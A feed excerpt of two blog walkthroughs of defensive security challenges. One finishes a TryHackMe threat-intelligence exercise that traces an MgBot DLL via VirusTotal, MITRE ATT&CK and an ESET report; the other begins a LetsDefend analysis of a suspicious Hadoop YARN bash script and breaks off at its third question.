href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; is an expansive knowledge base that documents known adversary tactics, techniques, and procedures as observed in world-world attacks. Since &lt;strong&gt;Question 4&lt;/strong&gt; mentions &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;, let’s navigate there and search for the family name we found in the last question to gather more information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1146/&#34;  title=&#34;https://attack.mitre.org/software/S1146/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MgBot&lt;/strong&gt;&#xA;_MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1146/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since there are so many techniques listed on &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; and in &lt;strong&gt;VirusTotal&lt;/strong&gt; for the malware, we’ll need to pivot out to some external research to narrow it down. From the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; page, there are several reference links listed at the bottom.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;12d99428f1a4bef3f6fbfc15276e0ecc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/12d99428f1a4bef3f6fbfc15276e0ecc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s select the second link from &lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ESET&lt;/strong&gt;&lt;/a&gt; to read more about the malware framework and &lt;strong&gt;pRsm.dll.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;  title=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Evasive Panda APT group delivers malware via updates for popular Chinese software&lt;/strong&gt;&#xA;_ESET Research uncovers a campaign by the APT group known as Evasive Panda targeting an international NGO in China with…_www.welivesecurity.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There’s a treasure trove of excellent research content in this blog but for &lt;strong&gt;Question 4&lt;/strong&gt;, we’re most interested in the documented &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; techniques where we’ll learn that &lt;strong&gt;pRsm.dll&lt;/strong&gt; is used to capture audio streams and the corresponding technique ID.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;61d04192043bd1463cc4e1f78cfa9d35_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1837px&#34; data-flex-grow=&#34;765&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/61d04192043bd1463cc4e1f78cfa9d35_MD5.png&#34; width=&#34;666&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From: &lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0d625f84e9b260d352e373c863254081_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/0d625f84e9b260d352e373c863254081_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-cyberchef-defanged-url-of-the-malicious-download-location-first-seen-on-20201102&#34;&gt;Question 5: What is the CyberChef defanged URL of the malicious download location first seen on 2020–11–02?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing with our review of the &lt;strong&gt;ESET&lt;/strong&gt; report, we’ll also discover some additional details about the malware including the origin of the malicious download.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;52bddce7fbc31d3249650d818e7d6753_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;248px&#34; data-flex-grow=&#34;103&#34; height=&#34;772&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/52bddce7fbc31d3249650d818e7d6753_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’re halfway there! While the URL is already defanged within the report, the key detail is that we need to submit the URL after it’s been defanged with &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; specifically — Easy enough!&lt;/p&gt;&#xA;&lt;p&gt;Let’s open &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, input the URL from the &lt;strong&gt;ESET&lt;/strong&gt; report, and apply the &lt;em&gt;Defang URL&lt;/em&gt; option to the recipe to get our newly defanged output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8b5009d5ffb8d0eb31cb8ac83b0dc8d3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/8b5009d5ffb8d0eb31cb8ac83b0dc8d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Defanging the Download URL in CyberChef&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fadf81510cbd36a93e81562d5c1c136d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/fadf81510cbd36a93e81562d5c1c136d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-cyberchef-defanged-ip-address-of-the-cc-server-first-detected-on-20200914-using-thesemodules&#34;&gt;Question 6: What is the CyberChef defanged IP address of the C&amp;amp;C server first detected on 2020–09–14 using these modules?&#xA;&lt;/h3&gt;&lt;p&gt;We’ll approach &lt;strong&gt;Question 6&lt;/strong&gt; like we did the last one. We’ll find the malware’s command and control (&lt;strong&gt;C&amp;amp;C&lt;/strong&gt;) server addresses listed in the &lt;strong&gt;ESET&lt;/strong&gt; report’s &lt;strong&gt;IOC&lt;/strong&gt; section under &lt;strong&gt;Network.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f52c3bbba16cc64200584f2318d32c21_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/f52c3bbba16cc64200584f2318d32c21_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pick the &lt;strong&gt;IP address&lt;/strong&gt; that matches the date from the question and jump back over to &lt;strong&gt;CyberChef.&lt;/strong&gt; It can be a little picky, but manually enter the raw IP address into the input box then apply &lt;strong&gt;Defang IP Address&lt;/strong&gt; to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;532f024c512f0be476a635a1385cdca9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;611px&#34; data-flex-grow=&#34;254&#34; height=&#34;314&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/532f024c512f0be476a635a1385cdca9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Defanging C&amp;amp;C IP Address in CyberChef&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4769e465a21dacec36572b0445d4b8a4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/4769e465a21dacec36572b0445d4b8a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-sha1-hash-of-the-spyagent-family-spyware-hosted-on-the-same-ip-targeting-android-devices-on-november-162022&#34;&gt;Question 7: What is the SHA1 hash of the spyagent family spyware hosted on the same IP targeting Android devices on November 16, 2022?&#xA;&lt;/h3&gt;&lt;p&gt;Finally, we’re going to take what we’ve learned during our intelligence collection and expand our scope by searching for any other malware families hosted on the &lt;strong&gt;IP Address&lt;/strong&gt; from &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Head back over to &lt;strong&gt;VirusTotal&lt;/strong&gt;. Once we input the IP, navigate to the &lt;strong&gt;Relations &amp;gt; Communicating Files&lt;/strong&gt; tab where we’ll find an &lt;strong&gt;Android type&lt;/strong&gt; file communicating with this IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;459c1a4627e5936640b994182830cdf4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/459c1a4627e5936640b994182830cdf4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the date doesn’t match what the question is looking for, let’s click the entry anyway to see if we can find any leads. Looking at the family label, it matches the &lt;strong&gt;spyagent&lt;/strong&gt; tag referenced in the question, so it seems that we’re on the right track.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f983263adf1379105b17b327d19a7cbb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;817px&#34; data-flex-grow=&#34;340&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/f983263adf1379105b17b327d19a7cbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s try the &lt;strong&gt;SHA-1&lt;/strong&gt; hash from the &lt;strong&gt;Details&lt;/strong&gt; tab to verify.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;039a647db9f1188aba12c91738cecdbd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;492px&#34; data-flex-grow=&#34;205&#34; height=&#34;390&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/039a647db9f1188aba12c91738cecdbd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Fantastic! We’ve found the correct sample! Now that we’ve completed &lt;strong&gt;Question 7&lt;/strong&gt;, let’s recap our findings and wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ea530a0562acf0546eb3a53270351c2c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/ea530a0562acf0546eb3a53270351c2c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it — sample analyzed! During our investigation, we calculated the &lt;strong&gt;SHA1&lt;/strong&gt; hash value of a DLL within the sample**.** We then searched &lt;strong&gt;VirusTotal&lt;/strong&gt; for this file hash, which helped us identify the malware family the DLL belongs to. Next, we pivoted to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to understand the malware’s capabilities and searched for external references, where we discovered a detailed analysis from &lt;strong&gt;ESET&lt;/strong&gt;. With the ESET report in hand, we identified &lt;strong&gt;indicators of compromise&lt;/strong&gt; (IOCs), including the initial access download URL and the command and control IP addresses. All this information equips us with what we’ll need to create a comprehensive report for the requestor. Let’s wrap up this investigation and conclude our &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/fridayovertime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Friday Overtime&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the engaging challenge. This was a really fun challenge because the scenario felt realistic and led me down a research rabbit hole. It was cool to learn about &lt;strong&gt;DocIntel&lt;/strong&gt; and get a glimpse into the &lt;strong&gt;CTI&lt;/strong&gt; world. I find it extremely rewarding to start with something as simple as a file hash and continue to unravel the mystery by adding more context through threat intelligence with each new piece of information. It never hurts to continuously practice your research skills and leverage any available reporting when collecting intelligence on a threat — this happens all the time in the field!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps keep me motivated to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;DocIntel:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docintel.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docintel.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — MgBot (S1146):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1146/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S1146/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ESET WeLiveSecurity Blog — Evasive Panda APT group delivers malware via updates for popular Chinese software:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Bash Script Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/</link>
            <pubDate>Mon, 02 Dec 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Bash Script Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-bash-script-challenge-walkthrough&#34;&gt;LetsDefend— Bash Script Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;bash-script-analysis-challenge-using-vim-and-apache-hadoop-documentation&#34;&gt;Bash Script Analysis Challenge Using Vim and Apache Hadoop Documentation&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bash Script&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, our objective is to analyze a suspicious &lt;strong&gt;bash script&lt;/strong&gt; linked to a &lt;strong&gt;Hadoop YARN&lt;/strong&gt; cluster provided by the fictional &lt;strong&gt;SOC Team&lt;/strong&gt; and determine if it&amp;rsquo;s malicious. For this challenge, we will be using a simple text editor to analyze the script, searching for environment variables set by the script, and comparing them to online documentation. Then, we will analyze a suspicious download command to understand the nature of the attack.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is beginner-friendly and straightforward, but I had to do a lot of external research to understand &lt;strong&gt;Hadoop YARN&lt;/strong&gt; and the types of threats these services are exposed to. I&amp;rsquo;ll share this information along the way for some added value. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;! Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The SOC team uncovered a suspicious bash script linked to a critical Hadoop YARN cluster that handled large-scale data processing. This script was flagged for further investigation by L1 SOC analysts, who suspected it could be a potential breach. You have been tasked to analyze the bash script to uncover its intent.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-path-set-to-the-standard-output-logfile&#34;&gt;Question 1: What is the path set to the standard output log file?&#xA;&lt;/h3&gt;&lt;p&gt;From the scenario, we understand that that we&amp;rsquo;ll be analyzing a &lt;em&gt;bash script&lt;/em&gt; linked to a &lt;strong&gt;Hadoop YARN&lt;/strong&gt; cluster. &lt;em&gt;Hadoop&lt;/em&gt;? &lt;em&gt;YARN&lt;/em&gt;? These sound like foreign languages to me! To help get us oriented and better interpret the script, let&amp;rsquo;s get some quick context about these terms in case they&amp;rsquo;re also unfamiliar to you.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Hadoop:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Hadoop YARN:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop%27s%20core,executed%20on%20different%20cluster%20nodes.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Apache Hadoop YARN is the resource management and job scheduling technology in the open source Hadoop distributed processing framework. One of Apache Hadoop&amp;rsquo;s core components, YARN is responsible for allocating system resources to the various applications running in a Hadoop cluster and scheduling tasks to be executed on different cluster nodes.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While we don&amp;rsquo;t necessarily need to be &lt;em&gt;Hadoop&lt;/em&gt; experts it&amp;rsquo;s very helpful to understand that &lt;em&gt;YARN&lt;/em&gt; is responsible for setting up, managing, and executing tasks for various applications on a cluster of computers.&lt;/p&gt;&#xA;&lt;p&gt;We can imagine that a &lt;em&gt;bash script&lt;/em&gt; might be useful for automating provisioning, setting up environment variables, configuration paths, and executing tasks — but this could also be abused by the bad guys, too. Since we&amp;rsquo;re told there is something suspicious about the sample script, it might indicate a potential breach of the application container environment. Let&amp;rsquo;s find out for ourselves!&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the theory out of the way, let&amp;rsquo;s finally extract the &lt;em&gt;ChallengeFile,&lt;/em&gt; &lt;strong&gt;sample.7z&lt;/strong&gt;, and open the resulting file (&lt;strong&gt;sample&lt;/strong&gt;) with a text editor. For the examples in this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Vim.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;ll focus on the &lt;code&gt;PRELAUNCH_OUT&lt;/code&gt; environment variable which defines the standard output (&lt;em&gt;stdout&lt;/em&gt;) path for the container&amp;rsquo;s pre-launch logs. As the name implies, these pre-launch logs capture the commands executed by the setup script on the container before the application launches.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b1f1cf834b26e43d47da130bd3e8ef86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5_hu_cf60577c14e05bc4.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-environment-variable-specifies-the-java-home-directory&#34;&gt;Question 2: Which environment variable specifies the Java home directory?&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt; is more self-explanatory. A few lines further down in the script, we&amp;rsquo;ll find the &lt;code&gt;JAVA_HOME&lt;/code&gt; environment variable which tells the application where the &lt;em&gt;Java&lt;/em&gt; installation&amp;rsquo;s home directory is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5_hu_5bc0b7a4354383fb.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1945px&#34; data-flex-grow=&#34;810&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5_hu_c4890f1172040a99.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-value-of-the---&#34;&gt;Question 3: What is the value of the &amp;quot; # 